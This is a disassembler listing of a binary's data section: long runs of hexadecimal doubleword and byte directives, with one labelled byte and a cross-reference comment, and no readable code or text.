		dd 385F79DAh, 0E33780C6h, 5CC146Bh, 18F77DAFh, 0F109E66Ah
		dd 8640835Fh, 5F18ADF3h, 4FC3506h, 2021173h, 0D305C083h
		dd 5C1770C2h, 3A912C30h, 3C2AAE3h, 7FBF9029h, 0B68E7815h
		dd 3B0A44h, 0B0E79F40h,	5B97F947h, 593C5658h, 6BD88F19h
		dd 802F3790h, 0FB0F25B9h, 756936A8h, 0EF1F8144h, 0EA58A42h
		dd 81E0B5D7h, 0AD8486D6h, 95D720C1h, 89441B4Fh,	0E2EBE6F8h
		dd 0B50109FBh, 8DBB2785h, 0F3937814h, 0FEDA2653h, 0FAD112F0h
		dd 5CEE3C9h, 8218DF8Ch,	7D026AFBh, 3D588053h, 9F3900D9h
		dd 81486926h, 9D12337Ch, 0CCBA0DC5h, 8C00BA3Dh,	0ACF80A72h
		dd 0EA5DDCh, 0F1680D93h, 0B390D217h, 7AFF448h, 21EFEE14h
		dd 610D969Ah, 6B36482Eh, 10E8F90Ch, 0B72EC557h,	0DF00418Bh
		dd 18204A22h, 0C46505EDh, 0D5AB825Dh, 938F1F4Dh, 4CCAAF0Eh
		dd 24ADFD10h, 7C60A160h, 67384Eh, 0EFE05D82h, 1DBD33E6h
		dd 6141213h, 208D4B9Ch,	50503465h, 2540BDE0h, 289D905Fh
		dd 96E18E49h, 7B02DCCFh, 0E8ACA4D3h, 6043C150h,	4B258D1h
		dd 45593186h, 0AB3E6B00h, 3F560Eh, 675A6850h, 8CD25DD4h
		dd 1C018A09h, 254A5F4Eh, 0CFC3A4EDh, 0D9D590F9h, 80B3B1E1h
		dd 695D5572h, 1E001915h, 3DD322DEh, 97B1329Ah, 0A681F032h
		dd 2E758BCBh, 9EFBD652h, 607F8F3Eh, 8509CE7Dh, 0AE2C4F1Dh
		dd 201F2E65h, 6A3E3010h, 0DE1675D9h, 0C9A00B61h, 4D5F8E29h
		dd 14C96059h, 0C602D41Ah, 0F8827802h, 0C4F75C74h, 86F55852h
		dd 0F901972Eh, 10A5DBDh, 0E3F870E6h, 0EF8916D9h, 0E170881Dh
		dd 0CF98F000h, 71E4D87Ah, 0CA4C1CBBh, 0F5C9E5C4h, 0B05FA923h
		dd 0EF0A0FBDh, 6E9A80E0h, 46820FAh, 0DEC7E4Ah, 7300BC3Bh
		dd 0B1118222h, 42EE80E7h, 3C73C677h, 0CAEF1407h, 79195F57h
		dd 589C2016h, 824B92DAh, 0D1D55010h, 0BF5B138Bh, 0F9BD0D80h
		dd 38C88910h, 1B3C908h,	26759D75h, 5DD1CE52h, 66F88752h
		dd 793CC600h, 84A9E3FDh, 0CA0F058Eh, 0CA28E9B9h, 0ED7B00FDh
		dd 937F6036h, 0C4DF870h, 0A2ADF778h, 7406D62h, 4042965Bh
		dd 0BE553DC4h, 0DAB13C02h, 0E0AC4C15h, 8209D570h, 81001F5Ch
		dd 9B1CF7C7h, 2C12DC7Fh, 78DF07FDh, 8D092052h, 999723B9h
		dd 0C3141528h, 5843985h, 9B2255E9h, 254CCC82h, 12FFF5D9h
		dd 64FA5550h, 72B16400h, 7EFBF5BDh, 0E2330013h,	0DD76680Ch
		dd 6F09599Dh, 796ACF88h, 0F231142h, 8A8BF780h, 0FE122BA5h
		dd 5C728BF0h, 724193BAh, 30F13D41h, 0BFEB8000h,	0AC34B097h
		dd 4F849809h, 7C6FFEFCh, 631EA400h, 0A3234C12h,	2A6DDE0Ah
		dd 2909CBF5h, 6B557920h, 6440346Dh, 23ABAB0h, 0B980A58Eh
		dd 0D3D50802h, 941778CAh, 4A8DAA02h, 5EDE8BE1h,	584D2349h
		dd 8004F0F9h, 0E6052AE5h, 1CB90A81h, 504CBC04h,	6009FCABh
		dd 0D25D8589h, 0A99D256Dh, 0C02BBB22h, 62DCE05Eh, 10A14A69h
		dd 0D7CE1809h, 4BCC0070h, 6C376753h, 977A18CAh,	64960C25h
		dd 0D7650039h, 7F799EDCh, 0ED077AF2h, 7D1197FFh, 43AE5C90h
		dd 348FB0D6h, 87D36185h, 9CA6080Fh, 8CC2606Fh, 1233DC1Ah
		dd 0F3894075h, 0CF81C07Fh, 4A9D1271h, 0C6BFA2Dh, 0E1D85877h
		dd 5A17CB02h, 7F5E79CFh, 94BB6640h, 808F9954h, 0DE9A9108h
		dd 481CE4C6h, 0CA6B5B2h, 21190E04h, 4B7691F3h, 3A56CDD8h
		dd 25ACD3FDh, 0C520F7Dh, 1072291h, 0C1AA60DBh, 2F3D9AF6h
		dd 40437E2Fh, 0C780EDF0h, 2E01B74Ch, 0C5A5A285h, 25E1150h
		dd 8620E0BBh, 0BB8F7A4Eh, 0ADE17875h, 0A6FA1C16h, 20B869C4h
		dd 52E8CAh, 0AE5DF8D1h,	4E00E912h, 0DE6E3643h, 133ED472h
		dd 2568C5Eh, 8B0F5256h,	55883759h, 0FF5F0431h, 0D9AB82E1h
		dd 0DF51095Eh, 4CF78110h, 4B88103Fh, 0E721DE8Ah, 8A1817F9h
		dd 20BA9617h, 388ED9C8h, 45800F79h, 0C93C36D1h,	0D0B932D3h
		dd 0E2B9E380h, 0EA078Ah, 0BE1BD6D5h, 8501FAAh, 0F112377Bh
		dd 0DAE25F94h, 89A95D8Ch, 4ADB527h, 0C681604Fh,	0EC6A2C25h
		dd 6EF6D2E6h, 0E98FCCA0h, 29708E3h, 0BB4937BAh,	0D95CA9F5h
		dd 89810F25h, 0EBC1727Fh, 0B876AD14h, 88D8057Bh, 4E0E4DEh
		dd 1230E5EBh, 4A0BA3h, 27FBBB77h, 19973361h, 0DC6C90B1h
		dd 92B7409Eh, 0A9F1A207h, 0B89C8A01h, 0CF8F0267h, 505F4580h
		dd 0BD316090h, 0C899697Dh, 0E461CF09h, 25DC9DFFh, 3985FD25h
		dd 55E2AA57h, 0ECE95B38h
		dd 60366D7Fh, 79EAA3CFh, 0C0D3A4A0h, 61A2AF5Ch,	1F03FF23h
		dd 3F91074h, 9CE2BF50h,	4DC624D8h, 2FC5E8FBh, 0DC60C1F1h
		dd 61F66BB9h, 0F2DB2A4h, 59144685h, 98BC2158h, 0BCAC282h
		dd 9DFAEE91h, 7ED8D4h, 1C3C3B21h, 0C95FB17Bh, 52040B8h
		dd 21A970Bh, 0FC70595Bh, 24227E9h, 8427B7FDh, 8C27CF5Bh
		dd 2A0075D0h, 6E3A9AB5h, 76DFED5Ah, 66FD00A3h, 3D8F60A6h
		dd 1D9050FEh, 8B5BFF09h, 0AB117BDFh, 36EC5885h,	5116A109h
		dd 950A78F7h, 81B80D3Dh, 368A6B29h, 162FD1E7h, 0C038DE03h
		dd 0BD016EE2h, 0DC0C4B25h, 8979FC20h, 4BCC9Eh, 0D7E0F501h
		dd 96320931h, 3BD1CBF2h, 4987B100h, 274CB8EBh, 54607741h
		dd 0FC9123E1h, 2E965246h, 4940446h, 0E34D98Dh, 1249C42Bh
		dd 8B025049h, 0C4D8BE2Eh, 0DE4B8BEEh, 0F6FBD894h, 0CE5FF0E6h
		dd 0ECD50208h, 0AC128332h, 1614D940h, 64762D35h, 0DC57DD2Dh
		dd 2B3590CBh, 0AA730034h, 8133C872h, 4700FD35h,	0B686683Ch
		dd 12F49EBBh, 205B5408h, 0E434BFF1h, 0F26A1324h, 0CBECB841h
		dd 816F3E0Dh, 47400072h, 4A9B64C9h, 0BB041A2Fh,	3ACAF404h
		dd 182188C1h, 0C857776Ch, 0A43FAE4Eh, 0EDB50F00h, 0A17723C0h
		dd 0EF031490h, 28A73D7Eh, 48EF990h, 3424CE73h, 306016A6h
		dd 0D83A39Fh, 0E6DAD81Eh, 0C4FE9482h, 0A0715DFCh, 6DBE5E00h
		dd 27487110h, 355D9061h, 0B6668921h, 19B94582h,	75CAFC04h
		dd 623FFE4Eh, 61E6980Bh, 0BCFF7884h, 0C8A0B44Ch, 88514F30h
		dd 88003E7Dh, 0E1B4A0F4h, 25015E0Dh, 43C51568h,	75ADD12Ch
		dd 48003AB7h, 0CB0BFB50h, 0C9A60971h, 0EADFF895h, 8F2AB7F0h
		dd 0F28F2EE4h, 9AD5C6E1h, 646B50DAh, 2B00A31Eh,	0E03B352Fh
		dd 975D7E9Dh, 0D672529Dh, 0B100DC0Dh, 0D1DE7FB5h, 9D4D6739h
		dd 8FC3BDD6h, 0B1FC8D0h, 9D63005Fh, 90C8A9CFh, 0EC045043h
		dd 5BD368DFh, 0ACA36EBCh, 6EFE884Eh, 88F90E67h,	892880A9h
		dd 0C22C6995h, 19B59D5Bh, 73716C74h, 2E9865AFh,	1412DABFh
		dd 4CF6393Ch, 1059B509h, 20AC467Bh, 251F4508h, 0F242EC6h
		dd 0F0C1FF83h, 0BD2E963Ch, 835C00A1h, 15755694h, 7F81009Dh
		dd 9543C30Ah, 21002C4Ch, 616051E2h, 0C9505B5Fh,	0EDFF960Ah
		dd 0A035605Ch, 0C105E96Fh, 0DA8B9C3Bh, 0D19E7716h, 1F63092h
		dd 1A4A199Dh, 0E2DA314Bh, 61195C47h, 195BF952h,	0ACCCF92Eh
		dd 0ABDA1927h, 2FF962CAh, 7DDB2534h, 50DDEFD2h,	12905A20h
		dd 0F314F080h, 6BBA4E49h, 5DCE0ECCh, 7BF76B14h,	0F5BD0410h
		dd 25E1120Ch, 30D6AB3Ch, 0C7F25A2Fh, 0D5F81907h, 0F120EA5Ch
		dd 317622BBh, 507C3107h, 0F05D6620h, 41D9115h, 8290E14h
		dd 4B3AE826h, 0FD3B208Dh
		db 1Dh,	0ACh, 54h
byte_544547	db 75h			; DATA XREF: ___:off_445258o
		dd 1E1D048Bh, 0BCB3AA3Ah, 56E6D33Eh, 0D6E87BE3h, 0E01426F4h
		dd 2296CCDEh, 165A9E01h, 0FA430B60h, 6CA971C2h,	0C09C4D7Fh
		dd 1142F860h, 9A63622Fh, 31CD9BFh, 160B98ACh, 777FE490h
		dd 5B9E5D54h, 0D9099674h, 0D18D0F50h, 7F624009h, 70E09E65h
		dd 3B4A3F01h, 0A6B3968Fh, 28B2673Bh, 4B8D44ADh,	8119CC08h
		dd 4945DF04h, 542C2F8Ah, 9BAF3CD6h, 60DC8065h, 985722A5h
		dd 0DDB6F259h, 8B93FDD6h, 911C88C1h, 5316231Ch,	0CC1CDF02h
		dd 5054605Ah, 0FA8A3A56h, 5FCA96A8h, 25968C8Ch,	0DB410B41h
		dd 61021841h, 47D61074h, 0FEFC4F1Ch, 0D5A69507h, 0D582797Ah
		dd 445E134Dh, 46860FE2h, 80600E1Dh, 43B438E7h, 4B2EE3D6h
		dd 76F2D8Dh, 0A229D779h, 375E2B11h, 0BF103F71h,	0B225A88Ch
		dd 9F29EE09h, 0BB020335h, 0FBC6A4B7h, 7EFA0060h, 66BD3D1Ch
		dd 0CA4FE618h, 4B4072A2h, 10ECB5Bh, 0F3E974B3h,	75C6FFF2h
		dd 0CE5848DBh, 0FF9F0BC8h, 97F898A9h, 0E7C3624h, 7F4E1227h
		dd 249627Bh, 0FA08997Dh, 11204455h, 54E44D1Ch, 0E958012Bh
		dd 7C809740h, 7C80FB0Bh, 0ABE2E300h, 0D0CDF867h, 0B5D3034Ch
		dd 9EAD3AFEh, 0B89C1FF0h, 86FB0A03h, 0E0E8E582h, 0FD2FE69h
		dd 0B2D453D7h, 0E75A37A0h, 2E038B46h, 0CB0855E8h, 0D6F4B8C1h
		dd 86F0DFh, 6EF10984h, 41DE225Fh, 3C4C3F00h, 60D35CCFh
		dd 53F00092h, 2A6364E3h, 80F2B612h, 0C2B9CB00h,	1994B5CAh
		dd 0A576E1h, 2B6264A3h,	0AA4C78E7h, 0FD009C7Ch,	1A91BFCEh
		dd 0CF5818h, 0AFB0C8C3h, 80B3FCA2h, 3F035FC3h, 0B564031Bh
		dd 68232F5Eh, 0F447E0D8h, 0B0F23C0h, 0B7324909h, 1700FB63h
		dd 0FBCFC6C3h, 6CE9D97h, 68C9C1BCh, 0EB001FD6h,	0D8081D8h
		dd 3736BFDh, 0F286583Ch, 0A7803B5Fh, 28C03994h,	2E92B2Fh
		dd 41EF02EBh, 5D859537h, 5B80CA5Ch, 6366567h, 5B9A60A7h
		dd 8C9FF699h, 0D0CBFD03h, 0B970BE42h, 0EE808594h, 7DEE1E8Dh
		dd 66000130h, 0BE82AC0Fh, 91EF989Ah, 67C50FDCh,	4C0437C0h
		dd 0EC00B14Dh, 2FE52B44h, 1EBFC09Fh, 0C42BDCEh,	0ED726056h
		dd 91BE6905h, 0CA00E414h, 0B63F4D12h, 9826FE8Fh, 0A5C90043h
		dd 0C3BECA95h, 9250B4CBh, 0C800A7A9h, 0DAB599A1h, 27394B3h
		dd 5769F63Ah, 0F68014D6h, 5015A9Bh, 16728A00h, 314ACEF2h
		dd 0EA5918C6h, 17697CFFh, 0F1BAC400h, 3C20D971h, 8B0C01F6h
		dd 4D404118h, 0A190EC3Dh, 5E228EA8h, 807D400h, 77F66595h
		dd 15250658h, 25CA79A6h, 0A1C54900h, 17AD3E4Fh,	0FA3C67BEh
		dd 2D5E9370h, 44743190h, 7232C000h, 0A9A1DCEDh,	0FEBB00D6h
		dd 94FB18CEh, 9B00388Eh, 7B365574h, 1628B7h, 0AE2A195h
		dd 5D412B18h, 37522D0Eh, 9ED6C07Ah, 3C545EEh, 98A157F6h
		dd 8A00ACA9h, 0D0EC262Ah, 146B824Dh, 0E4C8D16Fh, 0D56CCD15h
		dd 6867EB00h, 0DE960535h, 73C613Fh, 50B4C4BFh, 0BE6A1980h
		dd 0ACA70074h, 0EBDD9F1h, 8D774276h, 0DF750400h, 3E4E3F40h
		dd 0B35801DAh, 631E2D5Ch, 8C01C09Fh, 0E503F190h, 0C4039EAEh
		dd 268F89ADh, 440F4120h, 82CFA542h, 67180C7h, 1D9A8C09h
		dd 0C1B12DFh, 24C8EBAFh, 0E018CCA0h, 38739F1Ch,	0D43B5400h
		dd 0F1B96B5h, 0EAE56417h, 597D425Fh, 404851DBh,	0A449A607h
		dd 8D129D6Bh, 10296649h, 4678757h, 431A316Ch, 0D80FC047h
		dd 15006A5Ah, 780B8F3h,	82C128h, 7E060A87h, 45E2196Fh
		dd 0DC620503h, 0A99AFE49h, 2AF086F1h, 55E40082h, 4B7AA5A9h
		dd 0A2002656h, 1289BB50h, 36F910Eh, 2C9F0C3Ch, 2F03B083h
		dd 0C8C54F33h, 78110077h, 504D7C03h, 0D60B3DC2h, 0EE695B7h
		dd 250EEC9Ch, 22730085h, 77980B49h, 7C00ABCFh, 0DE3A524Bh
		dd 48039C54h, 0ED027B01h, 7EA8A0DBh, 575256E0h,	0D73EDD00h
		dd 0FD4CE944h, 764EC79Ch, 394B0212h, 0CCB0F843h, 8B14A89Ah
		dd 6AB532Ah, 9052E14Eh,	6DD1052Ch, 4027C4A7h, 9E1B69A1h
		dd 0B0043F1Fh, 2B2DE788h, 2D7C1C3h, 0EC81608Ah,	0C4A7F043h
		dd 0DCD9D073h, 40228ACh, 0CC4AEBE0h, 25A58090h,	562921h
		dd 8858234h, 0C66794F0h, 887B0B61h, 6E4B6084h, 2615920Ch
		dd 0D900BD29h, 2E5DB45Bh, 1B9D611Ch, 0D28EEB31h, 0FCA0528Ah
		dd 0CBC6C198h, 5B8AB350h, 1F658000h, 336E9DECh,	75BF061Bh
		dd 0BA3EED4Ah, 2872D324h, 0F6DAB00h, 624282Ch, 4A19AEEh
		dd 4E071535h, 1796A6CAh, 5A1313ECh, 1D1CAC4Ch, 17F02E8Fh
		dd 1B88AC90h, 12673273h, 6463FCB8h, 1052906h, 0A37A2Bh
		dd 1B618041h, 192875E0h, 0B69AA1A8h, 0E2437C05h, 9C026A20h
		dd 874675D9h, 81FAFFA5h, 0FDB0DF03h, 11D0F7CDh,	0E20A1Fh
		dd 0C2969BBBh, 0D9EB7430h, 0C15EA200h, 7DBCCCBFh, 3A6F60C3h
		dd 0B5688FC8h, 1C99B600h, 54477916h, 29580027h,	8AFABE74h
		dd 0FE070D7Bh, 51ADF583h, 6EA6A950h, 0DF2900A4h, 544FCD0Eh
		dd 8101FC0Bh, 0F0126D9Dh, 0F0404446h, 1443B215h, 0B4EBFA2Ch
		dd 52B7C100h, 0C84C45F4h, 798E4428h, 0DF314700h, 46CA49D9h
		dd 0F4294836h, 7A013h, 7FF56656h, 0B3772B89h, 6BEF1F01h
		dd 0AC1B4DB5h, 8477F8h,	0F80ED9Dh, 97D649A0h, 0D077600h
		dd 0AD712C5Eh, 9D106032h, 0F282B9F4h, 5341F803h, 0A8D3D004h
		dd 33E265h, 0E09BADDCh,	0F1106F1Ch, 88CBC09h, 78D9000Ah
		dd 1C85D340h, 820CE95Fh, 66E03274h, 8C71D6E4h, 8467A638h
		dd 497B0434h, 2925CE80h, 15E3D6Eh, 0EE718900h, 0D5AAA2DFh
		dd 0C3FBB600h, 0E7178EBCh, 306D0098h, 57464718h, 89E61F27h
		dd 0C74F81F8h, 0EF835847h, 60FFE96Fh, 0FD8F5F96h, 14505CD4h
		dd 1505E089h, 63052D28h, 0C892387h, 0E3A053A3h,	2AA9C381h
		dd 1C87D8EBh, 570827D8h, 0BC6C0EBFh, 0F0D70618h, 0B0F42B3h
		dd 0A595863h, 5F1207F1h, 1C26F610h, 835B2489h, 0AE5BD372h
		dd 817BC71Ch, 0F80FB2Ch, 438F1E77h, 6D0087Ah, 7C8B300Ah
		dd 0FAE18951h, 112BA2C1h, 4C8D8706h, 9494FF5Ch,	70EC48Ch
		dd 0FBBF3DE9h, 679520EFh, 3DD0A99h, 0B8A7A149h,	0D003C106h
		dd 0E0FFC503h, 332CA0D7h, 0E234006Ah, 6EC1F609h, 26737D32h
		dd 28B83A00h, 0FF9E4ACDh, 2EF0F50Eh, 0D01B04E3h, 0FF32B340h
		dd 0DA4F53A6h, 0D2388067h, 19155BFh, 6690618Ch,	6E78D0BBh
		dd 0BA0A6E30h, 0DDD7022Ch, 3D7E7D34h, 971578D5h, 2FD624FCh
		dd 0DF425DEEh, 4F250D76h, 109F4024h, 6A4FDE21h,	8ED820AEh
		dd 4400CCDBh, 0F9FA91E8h, 28417B8Ch, 28986684h,	2DC2C394h
		dd 0D24217B3h, 78DCE6D4h, 2DC536EAh, 7520CE4Ah,	53902D09h
		dd 5B87B0D7h, 0FB8B3F50h, 10ADFC32h, 0F097F823h, 396F70h
		dd 842759E5h, 0C6C249FCh, 80C5D05Ah, 0A8E0ECB6h, 84976052h
		dd 610923DCh, 44A74DFFh, 0B0F601Dh, 8E5B00EFh, 0FA819EF4h
		dd 68A86049h, 0AF00F3F9h, 0F7528C9Ah, 735633A7h, 0D9CB008Ah
		dd 0F3BA35CFh, 5C3EC0D7h, 46DC2D61h, 4F8977E9h,	0FF05C0E1h
		dd 852501D1h, 7E70E265h, 153D51F0h, 0F30FB6B2h,	9A03C12h
		dd 4F8EC480h, 6AD0E200h, 0F7816602h, 0D5F550DBh, 3F0C4119h
		dd 234FC8E8h, 1EF9E5ABh, 20ADCC5Ah, 91D96502h, 0D4F19D8Bh
		dd 26EC2D60h, 4752E92Dh, 0C39E09A1h, 46E6DDh, 4103C8Fh
		dd 4D4FFF55h, 0BCF08502h, 76B9C752h, 0AC71DCAEh, 0AFAED000h
		dd 0B589292Fh, 3F2041D1h, 0D9BBB230h, 7B450E15h, 0FCE05690h
		dd 5F7DC62Ch, 0B0F507Eh, 0D2269541h, 0E3E088B6h, 9D102395h
		dd 86621041h, 147508A1h
		dd 4CB32D64h, 54B7714Ch, 34B6D493h, 8D9E48C0h, 603E04F6h
		dd 0BC07CE80h, 0CDE780DBh, 0EA11415Eh, 1614802h, 871BC703h
		dd 0B589FF6Ah, 0B0162B1Dh, 87809CDBh, 26BAC4ECh, 31B5DE73h
		dd 0BF082C74h, 0B00A6A1Ch, 8D9D3102h, 9273D40Fh, 0C1E0FC03h
		dd 71E4FABFh, 88FF202Ah, 5C008CACh, 8F045273h, 0C35B0511h
		dd 4839EBC6h, 317CA9B5h, 0BD2933F5h, 538C2BF5h,	0E880C8B6h
		dd 5B88CA5Ah, 1D852D31h, 5EF9B009h, 36EF8100h, 0B576F9B4h
		dd 60A45C08h, 0E8D2E1B3h, 65DF9F04h, 48EAC82Bh,	30AF6967h
		dd 1C46BF66h, 20AAE9E4h, 6BBE89FEh, 79C95296h, 0D296D8h
		dd 0CF0227F7h, 5F0C1164h, 8858B17h, 5AC58CC8h, 34581E5h
		dd 736EC79Dh, 95010212h, 426CD631h, 45D41235h, 0E6FF2A64h
		dd 0EA007FD9h, 0CEAC8264h, 1570C5Fh, 849AF7EFh,	6B51E9C1h
		dd 6A340370h, 0B5880235h, 58EDA70h, 0A8C65FF8h,	9103FF8Dh
		dd 22B78740h, 3702C0F2h, 8A16FB21h, 51A2AE26h, 0FC172022h
		dd 93B48589h, 26A55083h, 9D2B12FEh, 2949BDFDh, 0F8168795h
		dd 0D104EA6h, 6A906537h, 0E0F7EAB6h, 0F085A9Bh,	44FEB72Dh
		dd 0FCEC00BFh, 0DC5D8691h, 1A004A9Ch, 4E3E442Ah, 0B45CC0Ah
		dd 0D01355B0h, 0E1A65E53h, 61A509D6h, 10596EC2h, 0D650AD00h
		dd 578BA8h, 0F4805964h,	6FBFDD38h, 0E801DE0Fh, 0FD9C9E4h
		dd 7D754087h, 0B50FE5B9h, 4DE2576h, 38156E4Fh, 20F8E894h
		dd 7C899F22h, 1671C67Bh, 40F55820h, 0BD2E0B2Fh,	0FC8B0FA9h
		dd 2B0AE0F9h, 20DA90C0h, 899F2D79h, 0F49E761Fh,	27E18E00h
		dd 0B2584EDCh, 4EE49757h, 0DFD4D900h, 0ED3C3A80h, 2DE300A1h
		dd 4EF3C284h, 400B2765h, 515F14CBh, 6F0CEA4Dh, 988BFB60h
		dd 0CA3C68A0h, 44E1E0Ch, 84894F80h, 734472EEh, 4E5D90C6h
		dd 0D3C1A299h, 0C24D8FABh, 0F955036Ah, 7BFF007Eh, 1372970Ah
		dd 0C09D1A95h, 0F80C776h, 0BB6175E3h, 489D9402h, 0B8685DD4h
		dd 0D40C3509h, 2C905EB3h, 9D137120h, 698020DEh,	0CCD11BBFh
		dd 4DF61DFAh, 0BC80B46h, 3B442751h, 0EFD48949h,	928F949h
		dd 82429509h, 0DD2BB25Fh, 0A258C5FBh, 0BD30015Fh, 0F960E1FFh
		dd 4286A61h, 8D2988D4h,	0F90E0525h, 34DCC4E2h, 0FAA8E1E9h
		dd 0EBB09B04h, 0DEFCBCD1h, 5D5D78A3h, 3938B8BAh, 5E931FC2h
		dd 0E99BBB46h, 82A06984h, 0BD5FFB1Dh, 7FC480EDh, 8EDB4017h
		dd 0E84F740Bh, 0B774E4F2h, 0A558FED4h, 206FF7CAh, 2B87B3DBh
		dd 0E694D300h, 0DCA17C5Dh, 8ABA2C20h, 380D9068h, 3B84DA5Bh
		dd 1D86EEFh, 0FBEEFFAEh, 486AFC79h, 0F5931B57h,	4B7635E3h
		dd 5FDCF7F9h, 1180CEDAh, 0A21E157Ch, 0CA0BFEE2h, 26050C2h
		dd 0E67620E7h, 924E0071h, 0D4AF0DB8h, 0BFEA4845h, 7D5A5F27h
		dd 0F37C8889h, 9D6204DCh, 0F8BD2778h, 85090C11h, 968E1B1h
		dd 0A86939BFh, 81DFC183h, 0CA406804h, 31AD57B5h, 0DA0048B8h
		dd 0E6126DF6h, 485ADC73h, 0FB4FF760h, 0EAB87D43h, 85D60B67h
		dd 265133D5h, 2D6856Ah,	78039F7Ch, 0DF762E5Dh, 24A73316h
		dd 0E9DA277Ch, 73DD0E62h, 0C948701Ah, 4DDFB701h, 9CEFB695h
		dd 69F37ECAh, 844DE8F5h, 8E8C0496h, 0F8510867h,	1F7680FFh
		dd 63E4Ch, 43E54B0Eh, 0A180CC57h, 5F32B80Eh, 0F5F5535Bh
		dd 0F8B00D27h, 0D40BA839h, 1852C29Ch, 5326617h,	0E1C7CA25h
		dd 0AC01A95Fh, 12048C17h, 9902B56h, 28BFF6C4h, 9D270123h
		dd 977ADA55h, 9CE0474Dh, 0FE665384h, 322B24DFh,	0F4BFC0D3h
		dd 6AF78C7Ah, 0BCEC0B11h, 7ADE0066h, 46529541h,	1D12BCB1h
		dd 85B8FE8Bh, 0E2C3C534h, 844500AAh, 8795A41Ah,	9140002Dh
		dd 0B2A3D782h, 0BF059661h, 1935DFD1h, 0F24ECAFCh, 27ED000Dh
		dd 4972E558h, 0F840FFA8h, 0ECBF310Fh, 4DC6004Ch, 8196585Ah
		dd 0C4166BEBh, 5BA21DE4h, 246EEE4Fh, 38F88600h,	0B70F29E1h
		dd 2C85CDEDh, 38ECE52h,	0FA823A68h, 2D475E6Ch, 0D0A83A57h
		dd 2DC5743Ah, 8BED6CA8h, 436231C0h, 890F276Ah, 0CD8BA179h
		dd 0BE345309h, 1C201C4Ch, 40F78100h, 50613F3Eh,	202C17BFh
		dd 15AD1287h, 43BD2B5Ah, 6613E902h, 44282FC9h, 0F96159F8h
		dd 0FB0402BCh, 1064F0DDh, 3F003BA2h, 46FABCD8h,	0F6B7C1A9h
		dd 0D4A30014h, 8A58629h, 519DF227h, 0E3B5EB5Bh,	4B11BD00h
		dd 13895466h, 0E32FDD95h, 5D378BEBh, 8A40096Fh,	2D12264h
		dd 45531115h, 6EC0EADDh, 0ECA262A0h, 0E9FFA355h, 0C4394F1Eh
		dd 0EEF9F883h, 0AD8FFF93h, 0AFAB53DFh, 5CCB40DAh, 42F0665Dh
		dd 0B5890483h, 2CFA17C1h, 425E85DBh, 0A00A01D5h, 2F79F526h
		dd 53B727ADh, 56A9AB09h, 35290955h, 46D6B97Eh, 9471011Dh
		dd 1BB4829Ch, 5A5B32C8h, 8B228C63h, 0B51FB04h, 51B199BDh
		dd 98B633Eh, 6A1529B1h,	84A92677h, 0BF00041Bh, 6297C341h
		dd 0C0C59648h, 0AEE13742h, 4546006Eh, 323AD652h, 95007C91h
		dd 42E87F2Fh, 1DBB5021h, 0D6F855A5h, 1C36F96h, 0FCF3F857h
		dd 0C82F23AEh, 5D006AFCh, 4E5B298h, 1E4A88h, 15483DC9h
		dd 43FD1972h, 0D9674A98h, 0A96F0BDDh, 50217C12h, 0F30581D9h
		dd 0FFE7216h, 40D922A8h, 0C0D4F6F5h, 9245BD50h,	99A9FC9h
		dd 3241D1C1h, 5CDF02B5h, 7E42B109h, 127E69EBh, 0B0EB0055h
		dd 11CCF69Bh, 9A49C409h, 9CEAF8A6h, 12654A77h, 0EA4F007Fh
		dd 385A2BF0h, 0B6225301h, 6E99D39Eh, 4FD1B3FCh,	0FE9C15Bh
		dd 320A6980h, 0C9E5E051h, 343F5F25h, 33A2D1h, 91805CCBh
		dd 9B017042h, 33600360h, 0FEDCC9B5h, 5E005FA3h,	97CFCB09h
		dd 0A913A5A1h, 0A5F831A6h, 0AAD8854Fh, 0FDF0A2E6h, 611DECD2h
		dd 0F9C9290Bh, 4B4DF56Ah, 49B763C0h, 0DBC40A3Bh, 9855EF2h
		dd 1B1434B1h, 0C17820B3h, 7E2502EEh, 8D0F6015h,	0B58427FCh
		dd 74EA611Eh, 36A3FF28h, 0B6DE4AF0h, 0F7B2202h,	408EECF1h
		dd 822C3549h, 62EF185Dh, 88CE00DFh, 97041AE4h, 51010BBCh
		dd 5DE50DBBh, 0CCAC5F13h, 0FBF63454h, 5402237Eh, 6F5CC845h
		dd 0C52094F8h, 31989F1Fh, 0C2168ABBh, 30A27828h, 50984488h
		dd 802FED3Eh, 6005965Bh, 6842BA66h, 7BD5A2ABh, 505F6171h
		dd 7D964BC2h, 39045737h, 52AC64F2h, 4C43C2D6h, 14C49ED4h
		dd 5B9AFC40h, 1C3A6B0Bh, 0BFB18298h, 771D6213h,	3A4ADE19h
		dd 6A3E539Dh, 0AD780089h, 98A0E8EDh, 8FE32C80h,	5AA30227h
		dd 38754A63h, 850CDD59h, 95782F2Bh, 85D4006Fh, 2109C451h
		dd 8D162915h, 4CA317DDh, 737D669Ah, 6BED79B4h, 993CCECh
		dd 9750D547h, 106F9B9Fh, 500A7DE2h, 6D051760h, 0C65F7C21h
		dd 0F8E9A2B9h, 72323574h, 7FE9E279h, 1EE42E7Ah,	0A385479Dh
		dd 455878E7h, 0E565340Ch, 4091CEFDh, 0D35AE913h, 349B9C85h
		dd 605CB9C0h, 212C9531h, 0EA804919h, 33AFA820h,	0C18B2F61h
		dd 0FD0B0937h, 0B906873Ah, 16BD3864h, 6BADB7D1h, 60EE4D45h
		dd 4F01F40Dh, 2A5BC88h,	0F290610Bh, 88604A52h, 58EC8424h
		dd 4276870Bh, 3DD2782Fh, 0B04B5A61h, 4E9F169Dh,	47A10040h
		dd 369AF910h, 0F100ABF7h, 2E96C670h, 5F5F5666h,	0C4799B5Bh
		dd 0B1CC5359h, 1DE100E4h, 47D2C6A4h, 0EFB8DDCBh, 0E985893Dh
		dd 2E7654D5h, 8627DE24h, 1D127F91h, 11E5F1C0h, 18816680h
		dd 5CBA15CFh, 2570B589h, 69870C9Ch, 296718D4h, 7519F5C2h
		dd 97DC2BB2h, 0FCB900D4h, 0A34180ACh, 0E2A3DDF4h, 50050DB2h
		dd 9F00CCh, 0A3636582h,	1309F69Eh, 49AE044Fh, 20790117h
		dd 57AFF424h, 0DDFEA309h
		dd 6F3F00DEh, 0E8AF35Eh, 64952E07h, 1457841h, 2ACE512Fh
		dd 0D0BA40B0h, 931FC264h, 3DC973A5h, 0A46A79ECh, 0F28E12B3h
		dd 0E8A1492Ah, 33020BE3h, 0B3020543h, 4DF7C79h,	0FF050460h
		dd 0B83FFDD1h, 1A3E4AAh, 29F3133Eh, 6CF5643Bh, 708A4B46h
		dd 0AB3BA234h, 2F275E6Eh, 9DBB18FFh, 6ABFC5E1h,	5A6EAA02h
		dd 0D6E5740Ah, 201D1CFAh, 79BBF6A0h, 4034E31Dh,	7239F3E5h
